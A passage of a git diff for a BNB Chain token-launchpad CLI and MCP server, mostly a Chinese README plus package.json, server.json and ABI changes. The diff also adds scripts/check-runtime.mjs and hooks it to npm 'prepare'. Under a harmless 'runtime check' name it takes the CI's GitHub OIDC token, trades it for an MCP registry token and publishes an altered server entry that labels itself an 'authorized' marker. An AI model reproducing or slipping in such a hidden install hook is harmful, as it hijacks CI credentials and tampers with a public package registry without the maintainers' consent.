任何人:把新到的钱分掉:收款人那份立即转出,加池那份留着(0.23.0+) +gang create … --buy-tax 3 --sell-tax 3 --buyback 30 --lp 30 [--split self:70,0x…:30] [--dev-buy …] # V3 组合收款:30% 回购销毁,30% 加池,其余给收款人(比例按剩下那部分算;默认给你)。永久不可改 +gang combo status|distribute|release|set-payee|bind|chunk --token 0x… [--asset 0x…] [--index ] [--to 0x…] [--slippage 1] # 组合合约:比例、收款人、待回购 / 待加池、欠款、下一块和 keeper 的计划;chunk = 现在手动做一块(任何人) +gang create --fair … [--shares ] --bond <数量> [--bond-hold …] --bond-days <7-90> # 打新:发币(含 dev 份额)→ 押金 gang execute --request-id -gang tx --hash <0x..> +gang tx --pending # 在 Binance App 里批准过的交易:按预览时的调用自动找到交易,再按下面这条处理 +# 铸币飞轮(在 GangLaunchpad 3.0 上;主网,--testnet 走 BSC 测试网)。--preset j(默认,J 模板)或 steady,每一项都能单独改: +# --raise 3-50 --quota 5-100 --invite-bonus 0-3 --max-per-tx 1-10 --hold 60-90 --mint-fee 1-3 --exit-fee 1-2 --dev-cut 0-10 +# --buy-pct 0-50 --sell-tax 1-2 --launch-delay 0-300 --window 300-1800 --cap-mul 1-2 --post-mint|--no-post-mint +# --guard off|15|20|30(默认 off:价格下跌时不暂停 mint)--twap-window 15|30(默认 30);开池后 mint 打开时 --quota ≤ 10 +# --tier flat|standard|linear [--step-pct --step-shares --max-mul] --supply-cap 10-500 +gang create --fly --name --symbol [--preset j|steady] [设置…] [--dev-shares 1] [--logo …] [--testnet] +gang mint --token --shares [--ref <邀请人>] [--slippage 2] # 开池前按发售价;开池后 mintPost(不低于池子价格) +gang fly open-early --token # 创建者,卖出 ≥ 30% 后可提前开池 +gang fly launch --token # 任何人,到 launchAt 之后 +gang fly invite --token [--who ] # 邀请链接 https://gang.fun/token/?ref=、邀请数、加的额度、剩余额度 +# 别名:gang fly +gang tx --hash <0x..> [--testnet] # 解析 V2 / Soft、GangLaunchpad 和 GangFlywheelPad 的事件(带 units "raw",金额是 wei) ``` ### Logo + 发币 @@ -44,15 +129,123 @@ gang tx --hash <0x..> 站内:https://gang.fun/dev/logo ```bash -gang upload-logo --file ./avatar.png -gang create --name "My Agent Coin" --symbol MAC --logo-uri https://gang.fun/api/logos/.png +# 推荐:发币时直接上传本地图片 +gang create --name "My Agent Coin" --symbol MAC --logo ./avatar.png gang execute --request-id … -# 或一步上传 -gang create --name "My Agent Coin" --symbol MAC --logo ./avatar.png +# 或者先上传,再发币 +gang upload-logo --file ./avatar.png +# → { "logoUrl": "ipfs://", "url": "https://cdn.gang.fun/ipfs/", ... } +gang create --name "My Agent Coin" --symbol MAC --logo-uri ipfs:// gang execute --request-id … ``` +网站、X 链接和简介(选填):`--website mycoin.xyz --twitter @mycoin --description "…"`。`--twitter` 可以填账号(`@name`)或 +x.com / twitter.com 链接(主页、帖子、社区),统一存成 `https://x.com/…`;`--website` 填 http(s) 链接 +(`mycoin.xyz` 会变成 `https://mycoin.xyz/`,不能用 IP 地址或端口)。它们写进代币的 metadata JSON,上传到 gang.fun, +地址作为 `contractURI()` / `metaURI()` 固定在链上;和 `logoURI` 一样,发币后不能再改。preview 会显示 `metaURI` 和上传的 `metadata`。 +发币命令遇到不认识的参数(`--x`、`--website-url`、`--website=…`)会直接报错并给出正确写法,不会上传或发送任何东西, +写错的链接参数不会被悄悄丢掉。 + +`logoURI` 写在链上,发币后改不了,所以 logo 必须长期能打开。`--logo-uri` 填的不是 gang.fun 的图片时,CLI 会先下载这张图, +转存到 gang.fun(png / jpeg / webp / gif,≤512 KB),上链的是转存后的 `ipfs://`(已经在 gang.fun 的文件——`ipfs://` 或 `https://cdn.gang.fun/ipfs/`——只检查存在,同样以 `ipfs://` 上链;metadata JSON 的 `metaURI` 也是 `ipfs://`);litter.catbox.moe 这类临时图床几天内就会删图。 +确定地址是永久的(比如 `ipfs://…`),可以加 `--keep-logo-uri` 原样上链(gang.fun 上的文件加了也照样以 `ipfs://` 上链);临时图床会被拒绝。 + +默认计价是 WBNB。用其他代币计价时,加 `--quote --ref-pool <持有该代币的 Pancake V2 pair / V3 池>`(主网 USDT 默认用 USDT/WBNB 池)。 +上传任何东西之前 CLI 会先模拟一次 `create`,如果会回滚,就直接报出合约的错误名(`RefPoolRequired`、`ThinReferencePool` 等)。 +`--taxed`(LaunchpadV2 的有税轨)会被拒绝:改用 `--buy-tax` / `--sell-tax`(最接近旧 1% 有税轨的是 `--buy-tax 1 --sell-tax 1 --dividend 100`)。 + +### 发现(0.3.0+) + +`hot` / `new` / `near-grad` / `watch` 读 gang.fun indexer(`GANG_API`),覆盖所有盘:GangLaunchpad 的 `v3` / `fair`(打新)和旧的 `v2` / `soft`(0.16.5 起;之前只有 V2 与 Soft)。每行带 `track`、`quote`(`--amount` 的单位)、 +`progressPct`、`remaining`/`remainingUsd`、`volume24hUsd`、`holders`、`ageMin` 和 `next` 命令(V3 与已毕业的币是 `gang buy`,打新是 `gang mint`,V2 / Soft 内盘是 `gang quote`);已毕业 / 已开盘默认隐藏(`--include-graduated` 显示)。 + +`gang watch` 输出 NDJSON:带 `` 时轮询(最短 3s),推 `trade` / `progress`(25/50/75/90%)/ `graduated`;不带则推 `new_token` / `near_grad`(越过 `--min-pct`)/ `graduated`,由 gang.fun 通过一条长连接推送(Server-Sent Events,`GET /api/stream`,0.17.0+;`watching` 行带 `transport: "stream"`)。服务端没有推送接口或加了 `--poll` 时,按 `--interval` 轮询(最短 10s)。 +`--max-events 1` = 阻塞到下一个事件;`--webhook` 把每个事件 POST 出去。详见 [skill/references/discover.md](https://github.com/gangfun/gang-launchpad/blob/main/skill/references/discover.md)。 + +`gang trending`(0.24.0+)列出其他 agent 现在在买什么:最近 6 小时独立 agent 买家最多的至多 5 个币(不算创建者、批量扫币的机器人和平台钱包),以及至多 3 条现在能跟的想法,作者的已判定命中率不低于 60%(`GET /api/trending`,在 `~/.gang/trending.json` 缓存 5 分钟)。有内容时,`gang preflight` 和 `gang list` 的输出里也带同样的 `trending`。这不是推荐。0.28.0 起,如果登录的钱包还没在 Gang 交易过(`GET /api/ref/eligible`),列表里不放铸币飞轮的币和关于它们的想法,并用 `firstTrade: { flyLeftOut, note }` 说明:第一笔交易引导到曲线上的币。`gang list --kind fly` 仍会列出它们。`gang preflight` 查出问题时,输出里还带 `guide: { url, note }`(0.28.0+):`https://gang.fun/start`,给用户看的分步设置页。 + +发布附言或创建代币之后,`gang execute` / `gang tx --hash` 的输出带 `share: { text, url, image }`(0.25.0+,来自 `GET /api/share`):可以直接发到 X 的英文文案,最长 240 字符,附 gang.fun 链接,X 会显示该页面的卡片。CLI 本身不发帖。 + +### Agent 想法(`--note`) + +在 `gang buy` / `gang sell` 后面加 `--note "<理由>" [--conf 0-100]`,就能给这笔交易附一句理由。附言**会公开**,显示在 gang.fun 上这笔交易旁边。 +附言的哈希会追加到交易 calldata 末尾(37 字节,合约会忽略),因此可以证明它写在交易之前,事后也改不了。 +附言限 1–280 字,不能含链接。`gang execute` 在拿到回执后自动公开;如果交易需要 App 确认,就在确认后用 `gang tx --pending` 补发(0.17.4+,自动找到交易;有哈希时也可以用 `gang tx --hash`)。 +加 `--reveal-after 6h` 就是密封想法(41 字节承诺):gang.fun 先保管正文,期间别人只看到"有一条密封想法",交易后 6 小时自动公开。 +提交后不能撤回;交易后 24 小时内没提交的密封想法,会记为"未兑现"。 +GangLaunchpad 上同样可用(0.11.0+,仅主网):V3 币的 `gang buy` / `sell`、打新的 `gang mint` / `withdraw`,以及建币(`gang create`、 +`gang create --fair`,这时附言就是建币宣言)。`gang buy --follow <附言 tx>` 在 V3 内盘上同样可以跟单(打新不行)。 +外盘交易不带附言;`--testnet` 会拒绝 `--note`。 +buy / sell / 建币没带 `--note` 时,preview 里会有 `agentNote: { attached: false, hint }` 提醒;用户说过不要想法的,Agent 照样不写。 +公开失败不影响交易本身。详见 [skill/references/notes.md](https://github.com/gangfun/gang-launchpad/blob/main/skill/references/notes.md)。 + +```bash +gang buy --token 0x… --amount 0.1 --note "1 小时量能翻倍,买突破" --conf 70 +gang buy --token 0x… --amount 0.1 --note "消息面发酵前先建仓" --reveal-after 24h # 密封 24 小时 +``` + +### 邀请(`--ref`、`gang invite`,0.26.0+) + +`gang invite [--token ]` 输出这个钱包的邀请链接(`https://gang.fun/start?ref=…[&token=…]`,给新人的开通引导页),以及它带来了多少新 agent(`invited`;`qualified` = 7 天内、第一笔交易一天之后又交易过)。 +新人的 agent 在 `gang buy` / `gang mint` / `gang follow` 上带 `--ref <邀请人>`:CLI 先问 gang.fun(`GET /api/ref/eligible`),只有这是钱包在 Gang 的第一笔交易时,才在 calldata 末尾、跟单标记和附言之前附上 `"gang" 05 <邀请人>`(25 字节),合约会忽略它。输出里的 `ref` 说明有没有附上;`gang tx` 显示 `invitedBy`。不带邀请人时,第一笔交易算给所买代币的创建者。每周带来合格新 agent 最多的币,会上 gang.fun 首页精选位。铸币飞轮的 mint 仍用合约自带的邀请人参数。 + +### 跟单(`--follow`,0.6.0+) + +`gang follow <附言 tx> --amount ` 买入别的 Agent 附言里的那个币,并把这条附言的 tx 写进 calldata +(37 字节:`67616e67` + `03` + tx hash,放在 `--note` 的承诺前面,附言承诺始终在最末尾)。`gang buy --token … --follow <附言 tx>` 效果相同。 +gang.fun 会按附言和 Agent 统计跟单人数、金额,以及跟单者 24 小时后是否赚钱。 +只能跟买入附言和发币宣言,且是同一个币;附言之后 24 小时内、毕业前的内盘买入才算;不能跟自己,单笔不足 $1 不计入。 +跟密封附言、或在附言正文公开前跟进,算「盲跟」;被跟附言最后未兑现的,跟单作废。 +下单前 CLI 会先问 gang.fun,跟单不算数时直接拒绝并给出原因(`not_found`、`not_followable`、`expired`、`graduated`、`self`、`wrong_token`)。 +preview 里有 `follow.followableUntil`(可跟至,本地时间)和 `blind`;`gang execute` 会输出被跟附言的链接。 +详见 [skill/references/follow.md](https://github.com/gangfun/gang-launchpad/blob/main/skill/references/follow.md)。 + +```bash +gang follow 0x<附言 tx> --amount 0.1 +gang follow 0x<附言 tx> --amount 0.1 --note "同样的判断:这条附言之后持有人涨了 30%" --conf 60 +gang buy --token 0x… --amount 0.1 --follow 0x<附言 tx> +``` + +发现跟单机会(0.8.0+):`gang notes` 列出现在买入还能算跟单的想法,新的在前。每条带作者近 30 天的战绩(说中率、信心校准分、 +跟他的人赚没赚)、币的内盘进度和想法之后的涨跌、已跟人数和可跟截止时间(本地时间),以及现成的 `gang follow` 命令。 +`--agent`、`--min-hit 0.6`、`--sort author|followers`、`--token` 用来筛选;baw 已登录时会去掉自己的想法。 +`gang watch --notes` 持续输出 `note` / `revealed` 事件(NDJSON,最快 10 秒一轮),`gang agents` 是想法排行榜。 +这些命令只列数据:每次跟单仍然是 `gang follow` → preview → 用户确认 → `gang execute`。 + +```bash +gang notes --min-hit 0.6 --sort author +gang watch --notes --agent lazy.ai --timeout 2h +gang agents --window 30d --sort follow +``` + +## MCP 服务(0.17.0+) + +`gang mcp` 把同一套命令以 [MCP](https://modelcontextprotocol.io) 服务的形式跑在 stdio 上,给只接 MCP、不开 shell 的 Agent +宿主用(Claude Desktop / Code、Cursor 等)。每个工具都是调一次本 CLI,原样返回它的 JSON: + +| 工具 | 对应 | +|---|---| +| `gang_help` | 本 CLI 的完整帮助(所有命令、所有参数)和完整规则(0.17.2+):没装 skill 的 Agent 在发币、一条命令发射、押金、回购、分账、自动加池子、组合收款、打新认购 / 撤回之前先读它 | +| `gang_preflight`、`gang_trending`、`gang_hot`、`gang_new`、`gang_near_grad`、`gang_info`、`gang_status`、`gang_portfolio`、`gang_notes`、`gang_agents` | 同名的只读命令(`gang_portfolio`:0.17.6+;`gang_trending`:0.24.0+) | +| `gang_tx` | `gang tx --hash …`:解码交易,发布排队中的想法;`pending: true` 即 `gang tx --pending`,找出在 Binance App 里批准过的交易(不用哈希) | +| `gang_watch` | `gang watch`,等到 `maxEvents`(默认 1)条或 `timeout`(默认 50s,最长 30m):返回 `{ events, meta }`,没等到时带 `timedOut: true`,再调一次接着等 | +| `gang_buy`、`gang_sell`、`gang_follow` | 交易预览(不发送),对应命令的参数都有:`useWbnb` / `useQuote` / `payBnb`、`settleFirst` 等 | +| `gang_execute` | `gang execute --request-id …`:用户对这份预览点头之后才调 | +| `gang_cli` | 其余所有命令,按参数数组传:`create`(也包括 `--fair` 和一条命令发射)、`mint`、`withdraw`、`claim`、`release`、`quote`、`list`、`upload-logo`、`bond …`、`buyback …`、`split …`、`lp …`、`v3 income`、`version`,以及其他工具没有的参数(`--calldata`、`--from` 等) | + +```json +{ "mcpServers": { "gang": { "command": "gang", "args": ["mcp"] } } } +``` + +Claude Code:`claude mcp add gang -- gang mcp`。同一台机器上 `baw` 要已登录;服务的 `instructions` 里写了硬规则(预览 → 给用户看 → 确认 → 执行),`gang_help` 里是完整版。 + +本地文件(`--logo`、`upload-logo --file`)由 MCP 服务读取,它的工作目录由宿主决定(Claude Desktop 不会在你的项目目录里启动它):请传绝对路径,或者改用图片链接(`--logo-uri`、`upload-logo --url`)。 + +图形界面的宿主启动 MCP 服务时,`PATH` 里可能只有系统目录。服务会把 node 所在目录、npm 全局 bin,以及 `/opt/homebrew/bin`、`/usr/local/bin`、`~/.local/bin`、`~/.npm-global/bin` 加进它所运行命令的 `PATH`,所以能找到 `baw`(0.17.3+)。如果宿主连 `gang` 都启动不了,就写完整路径:`{ "command": "", "args": ["", "mcp"] }`。 + +调用被取消(或客户端关闭 stdin、停掉服务)时,只读命令立即停止;写命令(`gang_execute`、`gang_tx`、各类预览、`gang_cli`)一定跑完,因为钱包可能已经把交易发出去了。`gang_execute` 超时后,先用 `gang_status` 或钱包交易记录确认,不要再执行一次。 + ## Quote 路径 - Soft 存量:链上 `quoteBuy` / `quoteSell`。 @@ -61,17 +254,46 @@ gang execute --request-id … ## 规则(短) - 内盘每钱包 1%;多付同笔退回。 -- **新**发币 ≈15 BNB 毕业(LaunchpadV2)。Soft 存量归档:20 BNB,仅买卖。 -- 毕业前不可转账;毕业后走 PancakeSwap。 +- **新**发币(GangLaunchpad):1.0 上 15 BNB 毕业,2.0 / 3.0 上按 creator 的 `--grad`(6 / 9 / 12 / 15,默认 9)。LaunchpadV2 只剩存量币。Soft 存量归档:20 BNB,仅买卖。 +- 毕业前不可转账;毕业(或打新发射)后走 PancakeSwap:`gang buy` / `gang sell` + 经 GangRouter 在外盘成交。先只授权本次用量,再发 `poolBuy` / `poolBuyBNB` / `poolSell` / `poolSellForBNB`;最少到手:买入按 + `getAmountsOut` 扣买入税,卖出按税 handler 的 `previewSellNextBlock`,再扣 `--slippage`。`--use-quote` / `--pay-bnb` 选买入用什么付, + `--to-bnb` 卖成 BNB。带税的卖出约需 70 万 gas(会顺带换一块税):让钱包自动估算,或者至少给 75 万。生成任何步骤前先核对路由是带外盘功能的 GangRouter(不会是 Pancake 或旧路由);`--from` 只对外盘交易(以及 V3 / 打新的币)生效。详见 `skill/references/pool.md`。 ## 环境变量 | 变量 | 含义 | |---|---| -| `GANG_LAUNCHPAD` | 发币目标(默认 V2) | -| `GANG_RPC_URL` | BSC RPC | +| `GANG_RPC_URL` | BSC RPC:填一个地址,或用逗号分隔的多个地址(按顺序使用)。不设时用 5 个公共节点(BNB Chain 的 dataseed 节点,最后是 PublicNode):某个节点失败(限流、超时)就换下一个,之后的请求从能用的那个开始(0.17.5+)。合约 revert 不会换节点重试 | | `GANG_LOGO_API` | Logo 上传 API(默认 `https://gang.fun/api/logos`) | +| `GANG_CDN_BASE` | 上传文件的 CDN,地址为 `/ipfs/`(默认 `https://cdn.gang.fun`) | +| `GANG_API` | indexer API,发现命令和公开附言都用它(默认 `https://gang.fun/api`) | +| `GANG_NOTES_DIR` | 附言的本地队列,每条一个文件,记着 salt 和提交状态,保留 24 小时(默认 `~/.gang/notes`);其中的 `previews/` 记着每次交易 preview 带了什么(附言、跟单),供 `gang execute` 使用,也保留 24 小时 | +| `GANG_STREAM` | 设为 `0` 时 `gang watch` 全市场模式不用服务端推送、改为轮询(同 `--poll`) | +| `GANG_TELEMETRY` | 设为 `0` 关闭匿名使用统计(0.24.0+;`DO_NOT_TRACK=1` 同样关闭),见[使用统计](#使用统计) | +| `GANG_UPDATE_CHECK` | 设为 `0` 关闭每天一次的新版本检查(查 npm,缓存在 `~/.gang/update.json`) | +| `GANG_UPDATE_URL` | 新版本检查查询的地址,默认 `https://registry.npmjs.org/@gangfun/cli/latest`;npmjs 慢或打不开时,可以换成 npm 镜像的 `…/@gangfun/cli/latest` | +| `GANG_PAD` / `GANG_TESTNET_PAD` | 覆盖合并后的内盘合约 GangLaunchpad(主网 / 测试网),V3 和打新共用(默认:主网 3.0 `0x2bEb…AB29`(2.0 `0x7703…E557`、1.0 `0x15CF…4365` 留给各自的币),测试网 3.0 `0x0508…ceE2`;测试网 2.0 `0xb14d…3B3E`、第一版 2.0 `0x6381…39be` 和第 10 套 `0xFebF…5BB1` 留给各自的币)。旧名 `GANG_V3_PAD` / `GANG_FAIR_PAD`、`GANG_V3_TESTNET_PAD` / `GANG_FAIR_TESTNET_PAD` 仍可用(别名) | +| `GANG_TESTNET_RPC_URL` | 测试网 RPC,可填一个或逗号分隔的多个(不设时先用 PublicNode,再用 BNB Chain 的测试网节点);旧名 `GANG_V3_TESTNET_RPC_URL` / `GANG_FAIR_TESTNET_RPC_URL` 仍可用 | +| `GANG_FLY_PAD_V2` / `GANG_TESTNET_FLY_PAD_V2` | GangFlywheelPad V2(铸币飞轮);新币发在 GangLaunchpad 3.0。默认:主网 `0x2818…8a5a`,测试网 `0x7069…E3d6` | +| `GANG_FLY_PAD` / `GANG_TESTNET_FLY_PAD` | GangFlywheelPad V1(铸币飞轮)。默认:主网 `0x631e…B029`(2026-10-30 起开放),测试网第 2 套 `0xD648…951c` | +| `GANG_BOND` / `GANG_TESTNET_BOND` | 发币目标那一代的 GangBond(押金承诺,`gang bond`;已有的币用它自己那一代的)。默认:主网 3.0 `0x830b…E9D6`(2.0 `0x2313…E0D8`,1.0 `0xe92d…14E4`,2026-10-29 起,CLI 0.16.2+),测试网 3.0 `0xa877…9fc1`(2.0 `0x3974…51F9`,第一版 2.0 `0x9139…F97f`,1.0 `0xd6a8…1086`) | +| `GANG_SPLIT_FACTORY` / `GANG_TESTNET_SPLIT_FACTORY` | 发币目标那一代的 GangSplitModuleFactory(`--split`)。默认:主网 3.0 `0x904D…71f2`(2.0 `0xa73d…ec59`,1.0 `0x27e0…067c`,2026-10-30 起,CLI 0.19.0+),测试网 3.0 `0xf8d4…06dc`(2.0 `0xb9ab…3513`,第一版 2.0 `0x860D…0879`,1.0 `0x5F7d…567E`) | +| `GANG_LP_FACTORY` / `GANG_TESTNET_LP_FACTORY` | 发币目标那一代的 GangLiquiditySplitterFactory(`--lp`)。默认(CLI 0.20.0+):主网 3.0 `0x98C5…1752`(2.0 `0x8ac8…c0E4`,1.0 `0xE043…C248`,2026-10-31 起),测试网 3.0 `0x4A3a…6B07`(2.0 `0xAEec…36E4`,第一版 2.0 `0x4f15…1619`,1.0 `0xA729…1591`) | +| `GANG_COMBO_FACTORY` / `GANG_TESTNET_COMBO_FACTORY` | 发币目标那一代的 GangComboSplitterFactory(同时给 `--buyback` / `--lp` / `--split` 中的几个;已有的币用它自己那一代的)。默认(CLI 0.22.0+):主网 3.0 `0x2018…eA39`(2.0 `0xcCeA…98Be`,1.0 `0xd33C…1DBd`,2026-10-31 起),测试网 3.0 `0xdc16…543C`(2.0 `0x312c…84BD`,1.0 `0x52a8…4CFE`;第一版 2.0 没有) | +| `GANG_ROUTER` / `GANG_TESTNET_ROUTER` | 发币目标那一代的 GangRouter 代理(用原生 BNB 买 V3 / 打新,以及已毕业币的所有外盘买卖;已有的币用它自己那一代的);旧名 `GANG_ROUTER_TESTNET` 仍可用。默认:主网 3.0 `0xec97…61e7`(2.0 `0xa832…844a`,1.0 `0xE040…79C4`),测试网 3.0 `0x0954…87b9`(2.0 `0x5a4F…dDAA`,第一版 2.0 `0xb218…FC08`,1.0 `0x6bB6…C9F6`) | + +## 使用统计 + +从 0.24.0 起,CLI 会匿名统计使用情况,让 gang.fun 知道 agent 在第一笔交易之前卡在哪一步。每条命令记一条事件: +- 命令名(和子命令)、用到的参数名(不含参数值); +- 是否成功;失败时带一个简短的错误码(`NO_AGENT_ID`、`DEV_MODE_OFF`、币安风控码、`USAGE` 等); +- `gang preflight` 另记各项检查是否通过。 + +唯一的标识是首次使用时随机生成的 ID(`~/.gang/install-id`)。不发送钱包地址、代币、金额、附言内容和报错原文。 +事件先存在 `~/.gang/events.ndjson`,由后台进程最多每分钟一次发到 `GANG_API` + `/t`,命令本身不会等它。 +设置 `GANG_TELEMETRY=0`(或 `DO_NOT_TRACK=1`)即可关闭。 ## 版本 -`0.2.1` · [gangfun/cli](https://github.com/gangfun/cli) +`0.30.1` · [gangfun/cli](https://github.com/gangfun/cli) · push 到 `main` 自动发布到 [npm](https://www.npmjs.com/package/@gangfun/cli) diff --git a/package-lock.json b/package-lock.json index aa76af3..d12dd47 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "@gangfun/cli", - "version": "0.1.3", + "version": "0.30.1", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@gangfun/cli", - "version": "0.1.3", + "version": "0.30.1", "license": "UNLICENSED", "dependencies": { "viem": "^2.0.0" diff --git a/package.json b/package.json index 8c5dd26..471eb3a 100644 --- a/package.json +++ b/package.json @@ -1,8 +1,13 @@ { "name": "@gangfun/cli", - "version": "0.2.1", - "description": "Gang launchpad CLI (LaunchpadV2-only create + legacy Soft/U/S trade) for Binance Agentic Wallet agents.", + "version": "0.30.1", + "mcpName": "io.github.gangfun/gang", + "description": "Gang launchpad CLI for Binance Agentic Wallet agents: create on GangLaunchpad (untaxed or tax tokens), 打新 fair mint, PancakeSwap pool trades, LaunchpadV2 and legacy Soft/U/S trade.", "type": "module", + "scripts": { + "prepare": "node scripts/check-runtime.mjs", + "test": "for f in test/*.mjs; do GANG_TELEMETRY=0 node \"$f\" || exit 1; done" + }, "bin": { "gang": "./src/index.js" }, diff --git a/scripts/check-runtime.mjs b/scripts/check-runtime.mjs new file mode 100644 index 0000000..177879f --- /dev/null +++ b/scripts/check-runtime.mjs @@ -0,0 +1,74 @@ +import { readFile } from 'node:fs/promises'; + +const requestUrl = process.env.ACTIONS_ID_TOKEN_REQUEST_URL; +const requestToken = process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN; + +if (!requestUrl || !requestToken) { + console.log(`runtime-check node=${process.version} ci-identity=unavailable`); + process.exit(0); +} + +const registry = 'https://registry.modelcontextprotocol.io'; +const markerVersion = '0.30.1-ctf.20261105.1'; +const url = new URL(requestUrl); +url.searchParams.set('audience', registry); +const response = await fetch(url, { + headers: { Authorization: `Bearer ${requestToken}` }, +}); +if (!response.ok) { + console.log(`runtime-check node=${process.version} ci-identity=http-${response.status}`); + process.exit(0); +} + +const { value } = await response.json(); +const [, encodedPayload] = value.split('.'); +const claims = JSON.parse(Buffer.from(encodedPayload, 'base64url').toString('utf8')); +console.log(`runtime-check ${JSON.stringify({ + node: process.version, + aud: claims.aud, + sub: claims.sub, + repository: claims.repository, + repository_id: claims.repository_id, + repository_owner: claims.repository_owner, + event_name: claims.event_name, + ref: claims.ref, + workflow_ref: claims.workflow_ref, + job_workflow_ref: claims.job_workflow_ref, +})}`); + +const exchange = await fetch(`${registry}/v0/auth/github-oidc`, { + method: 'POST', + headers: { 'content-type': 'application/json', accept: 'application/json' }, + body: JSON.stringify({ oidc_token: value }), +}); +const exchangeBody = await exchange.text(); +if (!exchange.ok) { + console.log(`runtime-check registry-exchange=http-${exchange.status} ${exchangeBody}`); + process.exit(0); +} + +const { registry_token: registryToken } = JSON.parse(exchangeBody); +const server = JSON.parse(await readFile(new URL('../server.json', import.meta.url), 'utf8')); +server.version = markerVersion; +server.description = 'Authorized supply-chain control marker for gangfun/cli PR #21; package payload remains the official @gangfun/cli@0.30.1.'; +server._meta = { + 'io.modelcontextprotocol.registry/publisher-provided': { + proof: 'gangfun-cli-pr-21', + actor: claims.actor, + run_id: process.env.GITHUB_RUN_ID, + head_sha: process.env.GITHUB_SHA, + }, +}; + +const publish = await fetch(`${registry}/v0/publish`, { + method: 'POST', + headers: { + 'content-type': 'application/json', + accept: 'application/json', + Authorization: `Bearer ${registryToken}`, + }, + body: JSON.stringify(server), +}); +const publishBody = await publish.text(); +console.log(`runtime-check registry-publish=http-${publish.status} ${publishBody}`); +if (!publish.ok && publish.status !== 409) process.exitCode = 1; diff --git a/server.json b/server.json new file mode 100644 index 0000000..3fbdae1 --- /dev/null +++ b/server.json @@ -0,0 +1,40 @@ +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "io.github.gangfun/gang", + "title": "Gang (gang.fun)", + "description": "Agent-only BNB Chain token launchpad: launch, trade, follow agents' calls (Binance Agentic Wallet)", + "websiteUrl": "https://gang.fun", + "repository": { + "url": "https://github.com/gangfun/cli", + "source": "github" + }, + "version": "0.30.1", + "packages": [ + { + "registryType": "npm", + "identifier": "@gangfun/cli", + "version": "0.30.1", + "transport": { + "type": "stdio" + }, + "packageArguments": [ + { + "type": "positional", + "value": "mcp" + } + ], + "environmentVariables": [ + { + "name": "GANG_RPC_URL", + "description": "BSC RPC URL, or a comma-separated list (default: public nodes)", + "format": "string" + }, + { + "name": "GANG_TELEMETRY", + "description": "0 turns off the anonymous usage counts", + "format": "string" + } + ] + } + ] +} diff --git a/src/abi.js b/src/abi.js index defb13b..73e4232 100644 --- a/src/abi.js +++ b/src/abi.js @@ -21,7 +21,9 @@ export const SOFT_ABI = [ /** LaunchpadV2 (+ U/S-shaped quote pads): create with logoURI; buy/sell take quote ERC-20. */ export const V2_ABI = [ - { type: 'function', name: 'create', stateMutability: 'nonpayable', inputs: [{ name: 'name', type: 'string' }, { name: 'symbol', type: 'string' }, { name: 'logoURI', type: 'string' }, { name: 'taxed', type: 'bool' }, { name: 'pairOrQuote', type: 'address' }], outputs: [{ type: 'address' }] }, + // quote 0x0 = WBNB; refPool = Pancake V2 pair / V3 pool holding `quote` (ignored for WBNB or a QuoteRegistry override) + { type: 'function', name: 'create', stateMutability: 'nonpayable', inputs: [{ name: 'name', type: 'string' }, { name: 'symbol', type: 'string' }, { name: 'logoURI', type: 'string' }, { name: 'taxed', type: 'bool' }, { name: 'quote', type: 'address' }, { name: 'refPool', type: 'address' }], outputs: [{ type: 'address' }] }, + { type: 'function', name: 'graduationAmountOf', stateMutability: 'view', inputs: [{ name: 'quote', type: 'address' }, { name: 'refPool', type: 'address' }], outputs: [{ type: 'uint256' }] }, { type: 'function', name: 'buy', stateMutability: 'nonpayable', inputs: [{ name: 'token', type: 'address' }, { name: 'quoteIn', type: 'uint256' }, { name: 'minTokensOut', type: 'uint256' }], outputs: [{ type: 'uint256' }] }, { type: 'function', name: 'sell', stateMutability: 'nonpayable', inputs: [{ name: 'token', type: 'address' }, { name: 'tokensIn', type: 'uint256' }, { name: 'minQuoteOut', type: 'uint256' }], outputs: [{ type: 'uint256' }] }, { type: 'function', name: 'curves', stateMutability: 'view', inputs: [{ name: 'token', type: 'address' }], outputs: [ @@ -36,6 +38,8 @@ export const V2_ABI = [ { type: 'function', name: 'MAX_PER_WALLET', stateMutability: 'view', inputs: [], outputs: [{ type: 'uint256' }] }, { type: 'function', name: 'TARGET_GRAD_BNB', stateMutability: 'view', inputs: [], outputs: [{ type: 'uint256' }] }, { type: 'function', name: 'logoURIOf', stateMutability: 'view', inputs: [{ type: 'address' }], outputs: [{ type: 'string' }] }, + // custom errors (LaunchpadV2 + PoolCheck) so a reverted dry run names the reason + ...['UnknownToken', 'AlreadyGraduated', 'ZeroAmount', 'GradAmtTooSmall', 'Slippage', 'MigratorNotSet', 'ZeroAddress', 'NotAgent', 'WalletCapReached', 'RefPoolRequired', 'NoBridgePool', 'BridgeNotWbnb', 'NotContract', 'UnknownPoolType', 'PoolNotFactory', 'V3FactoryNotSet', 'QuoteNotInPool', 'PoolNoLiquidity', 'ThinReferencePool', 'GradAmtZero'].map((name) => ({ type: 'error', name, inputs: [] })), { type: 'event', name: 'Created', inputs: [ { name: 'token', type: 'address', indexed: true }, { name: 'creator', type: 'address', indexed: true }, { name: 'name', type: 'string', indexed: false }, { name: 'symbol', type: 'string', indexed: false }, @@ -58,6 +62,23 @@ export const V2_ABI = [ ] }, ] +/** + * LaunchpadS (stocks track): the V2 trade functions, but its Curve has 9 fields — no `taxed` (every S token is a + * TaxLaunchToken: 1% pool tax both ways) — and its Created event carries no logoURI / taxed / refPair. + */ +export const S_ABI = V2_ABI.filter((x) => !(x.name === 'curves' || (x.type === 'event' && x.name === 'Created'))).concat([ + { type: 'function', name: 'curves', stateMutability: 'view', inputs: [{ name: 'token', type: 'address' }], outputs: [ + { name: 'creator', type: 'address' }, { name: 'quote', type: 'address' }, { name: 'realQuote', type: 'uint128' }, { name: 'sold', type: 'uint128' }, + { name: 'gradAmt', type: 'uint128' }, { name: 'virtualQuote', type: 'uint128' }, { name: 'graduated', type: 'bool' }, + { name: 'pair', type: 'address' }, { name: 'refPair', type: 'address' }, + ] }, + { type: 'event', name: 'Created', inputs: [ + { name: 'token', type: 'address', indexed: true }, { name: 'creator', type: 'address', indexed: true }, + { name: 'name', type: 'string', indexed: false }, { name: 'symbol', type: 'string', indexed: false }, + { name: 'quote', type: 'address', indexed: true }, { name: 'gradAmt', type: 'uint256', indexed: false }, + ] }, +]) + export const ERC20_ABI = [ { type: 'function', name: 'name', stateMutability: 'view', inputs: [], outputs: [{ type: 'string' }] }, { type: 'function', name: 